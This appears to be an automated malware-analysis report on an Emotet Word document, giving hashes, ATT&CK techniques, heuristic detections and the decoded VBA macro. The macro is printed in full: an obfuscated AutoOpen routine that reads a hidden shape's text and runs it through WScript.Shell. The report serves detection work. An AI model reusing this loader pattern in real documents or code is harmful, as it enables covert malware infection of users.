Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 48eaf50bce1a0d7f…

MALICIOUS

Office (OLE)

90.2 KB Created: 2018-11-27 11:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: edc27117c0bd09d1b356882cf425d02c SHA-1: f55df88616424bd32d97af5fe871f626a7e516dc SHA-256: 48eaf50bce1a0d7fd6187b7df5eef129ff65f168deea788af15417255c80d09f
292 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that instantiate the dangerous COM class 'WScript.Shell', indicating an attempt to execute arbitrary commands. The embedded document body and heuristics reveal obfuscated PowerShell and cmd.exe commands, suggesting the macro is designed to download and execute a second-stage payload. The ClamAV detection as 'Doc.Downloader.Emotet-6826433-0' strongly suggests the Emotet family.

Heuristics 10

  • ClamAV: Doc.Downloader.Emotet-6826433-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826433-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
    End Select
Set EGvVqmnoi = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + hXuws)
   On Error Resume Next
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    End Select
Set EGvVqmnoi = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + hXuws)
   On Error Resume Next
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11470 bytes
SHA-256: 27ada5d9103217c3c967fad4c955583365452c8459ffea93e21ef2909c5e1108
Detection
ClamAV: No threats found
Obfuscation or payload: likely
150 of 223 identifiers look randomly generated (e.g. 'vUOGvVsqYQkM') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vUOGvVsqYQkM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
 For Each FCWRV In LAjRzopou
         pCfLD = 301675374 + Oct(240613372) - 132434226 - CBool(339684900 / 210804011) * 170102131 + Log(jFuLhY - CLng(64540991)) - 303454242 + Hex(OcdzXcAs)
      Next
      Select Case UzKmD
         Case 165258080
            wzLRBSpQz = Cos(111302303)
            XoGQiAW = 178318481
         Case 176927290
            LfRjb = Sqr(305831286 / CSng(76527194 - Cos(189554916 - 4228452) + CVSjZwckw + Rnd(255191871 - 82381179)))
            HwdDw = Hex(SKQcw)
End Select
   On Error Resume Next
 For Each MmmizKA In vacCcVd
         nCiub = 244060521 + Oct(187397047) - 196860327 - CBool(175861896 / 38583777) * 204485189 + Log(KlzdqU - CLng(308411827)) - 155879221 + Hex(BcNbT)
      Next
      Select Case cRIwnu
         Case 290106110
            TzmzbJIEr = Cos(204452538)
            SJdwLHbG = 37748190
         Case 251637406
            RTIazMS = Sqr(60068572 / CSng(289448829 - Cos(148053442 - 118935475) + ifDVTNuz + Rnd(239011291 - 224372867)))
            BBzTwpLom = Hex(sjTqBK)
End Select
   On Error Resume Next
 For Each CzsjcKD In OHiUzN
         XIqpNd = 266281548 + Oct(264333268) - 307865533 - CBool(38475851 / 304363518) * 337173226 + Log(hRckEBiBr - CLng(304050170)) - 267533932 + Hex(tumnBhhmh)
      Next
      Select Case uNHNuO
         Case 61158748
            iiLLjzftP = Cos(314740007)
            RjOCwTiB = 1753309
         Case 299576904
            MMKQXOd = Sqr(282756525 / CSng(47044264 - Cos(131176314 - 293731233) + QGhiLpIHR + Rnd(246412339 - 48482134)))
            kfLLuL = Hex(JEFVwB)
End Select
   On Error Resume Next
 For Each jWsTqi In YtOnQKWh
         qkCpEJtQS = 10628712 + Oct(82710533) - 281265457 - CBool(241772901 / 8385943) * 76407694 + Log(lRNTkW - CLng(181663663)) - 159372986 + Hex(uUbzSoVcl)
      Next
      Select Case oILPWccBo
         Case 142695812
            nsCYisINJ = Cos(134480504)
            izJoR = 112133663
         Case 340653274
            rNzIXG = Sqr(175852978 / CSng(12958919 - Cos(283383665 - 284425981) + VmCuG + Rnd(186136172 - 164438706)))
            owMPcYf = Hex(LFiKLBb)
End Select
Set QQYoLYm = Shapes("VbzcjPYLuAc")
   On Error Resume Next
 For Each oowjaP In UMDpvs
         vdJqo = 146863966 + Oct(188920957) - 238442961 - CBool(81767433 / 196084313) * 312374942 + Log(jBWjch - CLng(170142077)) - 46274626 + Hex(uTuUR)
      Next
      Select Case wYjFklSBZ
         Case 318879549
            zTpEcS = Cos(262280177)
            iKzda = 54128665
         Case 141191840
            EAJPVXXf = Sqr(76385123 / CSng(209253129 - Cos(162212250 - 73977432) + NAzmOkGR + Rnd(333847149 - 121003009)))
            GOiow = Hex(GwOzOAPhs)
End Select
   On Error Resume Next
 For Each lNccXSjm In JSlpODL
         MBiOaCiMi = 19839397 + Oct(318963339) - 23607966 - CBool(278331119 / 217150140) * 180257957 + Log(lXwfiwoz - CLng(43632314)) - 295459061 + Hex(jTFKwUJ)
      Next
      Select Case FtWLK
         Case 299716851
            sPjifc = Cos(282237953)
            EqFfV = 89632345
         Case 85483139
            HhjCsZsA = Sqr(231479525 / CSng(215344842 - Cos(171984210 - 147250937) + OMnmOGZO + Rnd(158218377 - 90935472)))
            pPBTqoots = Hex(OidqXS)
End Select
   On Error Resume Next
 For Each jEizwv In iJDiJo
         oGGRWNq = 265290317 + Oct(174130143) - 38736227 - CBool(207475944 / 213199742) * 295315743 + Log(DrCzuD - CLng(99345511)) - 28598685 + Hex(DTXjP)
      Next
      Select Case DDaXbnmw
         Case 152601869
            ZUsdYRS = Cos(14763289)
            bRBjOkHjw = 20062266
         Case 335417532
            ibDXBFIRc = Sqr(112128763 / CSng(298246183 - Cos(204357830 - 164911025) + iWallA + Rnd(137931084 - 243810349)))
            SCULnUEq = Hex(YavtpGWMJ)
End Select
rRQifChaX = "" + wCUQpiRt + nSjTm + QQYoLYm.TextFrame.TextRange.Text + iKvrn + YZJusji + YPsUzMp
   On Error Resume Next
 For Each iPBvE In moIbrh
         TnVPf = 159121973 + Oct(231494338) - 108725059 - CBool(19037783 / 182824768) * 169656186 + Log(EIoiWiQVR - CLng(257444527)) - 169709151 + Hex(VuvJFRC)
      Next
      Select Case BndkTd
         Case 147661545
            qrfocBz = Cos(16740351)
            JlsaLqjNu = 303538427
         Case 238905336
            ZKlZKtR = Sqr(202480024 / CSng(25950747 - Cos(71743187 - 299549409) + vfZHlw + Rnd(134240324 - 312393927)))
            KwjKnpwzW = Hex(jmrQjuO)
End Select
   On Error Resume Next
 For Each iJWuRwR In UFTGzk
         hOpEva = 107854958 + Oct(52158093) - 131142871 - CBool(157360035 / 266187884) * 214814255 + Log(aijruW - CLng(92235657)) - 136109281 + Hex(pTDtcFbB)
      Next
      Select Case VjiLrP
         Case 100220602
            wOBCWd = Cos(102471957)
            spVcLaWus = 162735837
         Case 145979830
            CzKjS = Sqr(43176272 / CSng(125000284 - Cos(340189052 - 238988029) + nUcjZz + Rnd(123689376 - 253932604)))
            qoukQF = Hex(FuKnTSt)
End Select
   On Error Resume Next
 For Each OEZau In LNNNBEmJ
         rOlaSiham = 70838509 + Oct(171924264) - 176259336 - CBool(201696757 / 24268391) * 12072080 + Log(ocFjWUaiC - CLng(241783416)) - 218518875 + Hex(OLQnn)
      Next
      Select Case KpuwM
         Case 162667536
            imPTMhKL = Cos(86090095)
            bhcZXo = 51113737
         Case 156263697
            BbLaumnc = Sqr(297301610 / CSng(84122969 - Cos(37521102 - 276382110) + jArhKK + Rnd(278702609 - 22664827)))
            vBzpGKc = Hex(AmafXFSL)
End Select
Set EGvVqmnoi = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + hXuws)
   On Error Resume Next
 For Each TUKSnYVc In obzitsnPM
         QlpSmEUqt = 290746760 + Oct(304136878) - 294562253 - CBool(211636014 / 198194967) * 331240857 + Log(JXHmRhcSX - CLng(303281390)) - 284140651 + Hex(ShhtQQHCi)
      Next
      Select Case YOThc
         Case 239796870
            vvVkwiPHZ = Cos(225287006)
            IWvrNWYL = 72861436
         Case 3823143
            PXvTHzt = Sqr(128431312 / CSng(233496515 - Cos(35314610 - 292196268) + bwWOWw + Rnd(118649096 - 251935681)))
            iYuHFjBzJ = Hex(ZzTfzo)
End Select
   On Error Resume Next
 For Each MhFcQX In FPNbPz
         QkOtoK = 259794615 + Oct(66093701) - 7386960 - CBool(190806275 / 316802824) * 87671085 + Log(WXmIAiC - CLng(240810546)) - 41937445 + Hex(jtIKoMw)
      Next
      Select Case rCAYPfK
         Case 164486515
            ZCjcjDwq = Cos(224866048)
            EalwjKL = 228428074
         Case 340691506
            zwzEGEKa = Sqr(328324029 / CSng(51780673 - Cos(49692347 - 325316090) + wchZwAq + Rnd(81766300 - 131704866)))
            krvGF = Hex(ODwLtj)
End Select
   On Error Resume Next
 For Each lmKpG In jkhwz
         QZvWjYow = 247117492 + Oct(81562781) - 176006876 - CBool(123321653 / 222047270) * 58244367 + Log(qqBwCXJQh - CLng(220111751)) - 217666814 + Hex(lmiaUY)
      Next
      Select Case czHCAKHh
         Case 112511966
            LrHwMqu = Cos(212609982)
            wPHJN = 267675120
         Case 18782725
            CKDmG = Sqr(303259480 / CSng(303610812 - Cos(213513283 - 293311784) + nBnvpsqV + Rnd(274348841 - 167817911)))
            YwntUcY = Hex(otNzFE)
End Select
   On Error Resume Next
 For Each oOBaAjr In KdnPIV
         VRTSW = 253415845 + Oct(268170927) - 66467464 - CBool(75567214 / 187655515) * 28363016 + Log(wiPdSm - CLng(41649557)) - 106572089 + Hex(kHSRkkQvK)
      Next
      Select Case SKEOiAT
         Case 332787008
            zDqwwYtju = Cos(338438491)
            dCFNkKB = 7588389
         Case 246351868
            YOBBl = Sqr(4702435 / CSng(297557215 - Cos(102596320 - 242568254) + znPQsuJ + Rnd(146681619 - 298596325)))
            AVvpwQErd = Hex(zRNobp)
End Select
Const qjJNirLtbpO = 0
   On Error Resume Next
 For Each OwqOz In fzGZRzND
         OCKMTht = 59782432 + Oct(75297727) - 299264385 - CBool(143650373 / 261733698) * 61602191 + Log(CJjfd - CLng(197907749)) - 291754716 + Hex(NEFSdKZZ)
      Next
      Select Case DLnOZKwb
         Case 181180194
            piVdAW = Cos(307345394)
            PkSkZ = 235570672
         Case 167974131
            GHADjjmH = Sqr(120458184 / CSng(187319195 - Cos(146922801 - 278482562) + wjECJDK + Rnd(288240117 - 177414363)))
            wjFJo = Hex(TlDojE)
End Select
   On Error Resume Next
 For Each bawvLkWz In zBAoLjkH
         KfWBw = 301238152 + Oct(97756670) - 35217728 - CBool(104522115 / 336084185) * 222930911 + Log(ptPndip - CLng(162161332)) - 16954796 + Hex(kTdHFTQl)
      Next
      Select Case zuAtjO
         Case 166221420
            EjGUXPO = Cos(51647407)
            lAiAv = 227880365
         Case 40805875
            vCYoovp = Sqr(202165666 / CSng(212867606 - Cos(226500703 - 209950852) + AiZEEkrw + Rnd(110685778 - 84105759)))
            PzwiP = Hex(REMtU)
End Select
   On Error Resume Next
 For Each FWBOUVaKz In TfrGQSjbj
         HkOcH = 114069704 + Oct(213405941) - 164674870 - CBool(161671431 / 235454263) * 196619958 + Log(rXGhnLjL - CLng(105981887)) - 52941852 + Hex(JwMUzoWz)
      Next
      Select Case aQrUIYHC
         Case 273247190
            lNQno = Cos(135857159)
            ifUsUtzDE = 208912385
         Case 307431170
            ikCjqEafl = Sqr(166291327 / CSng(96601528 - Cos(28980635 - 213858190) + OWTsIXz + Rnd(327031949 - 37558128)))
            fuFWrQDtM = Hex(GRjdZ)
End Select
   On Error Resume Next
 For Each tVkNBMr In aYrOc
         OXbEO = 178576198 + Oct(217509874) - 282956324 - CBool(239606978 / 200054190) * 216480648 + Log(dcIzjm - CLng(23869563)) - 293741710 + Hex(wLSwALPt)
      Next
      Select Case oMtSSJPb
         Case 163328791
            oClFjojPr = Cos(176445190)
            EKkSQMJIN = 100640691
         Case 117682192
            CqUUKJzjF = Sqr(90737285 / CSng(42246743 - Cos(25698351 - 228014384) + FlHRwX + Rnd(125838045 - 273222842)))
            CJACzGSL = Hex(WFiPMUYF)
End Select
   On Error Resume Next
 For Each pIVmXZd In LAtnvYlj
         pvszNmBi = 246273039 + Oct(275650532) - 91063797 - CBool(287932318 / 80164260) * 168206945 + Log(izBRtKQQ - CLng(276317787)) - 269821246 + Hex(KqIfqzXIZ)
      Next
      Select Case wYcWTDmj
         Case 101183216
            waDJvWTpY = Cos(167246065)
            CIPbLaGz = 108465529
         Case 136196241
            AEfaZ = Sqr(313951835 / CSng(173041064 - Cos(43418667 - 197487400) + awzjmwjT + Rnd(198019574 - 217735993)))
            zEwQMuId = Hex(jwYvawiV)
End Select
EGvVqmnoi.Run! rRQifChaX, qjJNirLtbpO
   On Error Resume Next
 For Each tnElVWZ In ZmWCGfvY
         hjChWG = 242918805 + Oct(21786782) - 286490541 - CBool(231417435 / 328899832) * 124561618 + Log(VHpzjK - CLng(244332093)) - 88810156 + Hex(wcGUIHb)
      Next
      Select Case SVGEAQ
         Case 186307627
            XjTiinbTK = Cos(108490891)
            NHwkmw = 79343409
         Case 238472644
            aBwdbZQ = Sqr(184515074 / CSng(81497961 - Cos(72577722 - 142559868) + NCJiRfqJB + Rnd(260506724 - 66116423)))
            sOKTkTFnf = Hex(VVhpG)
End Select
End Sub

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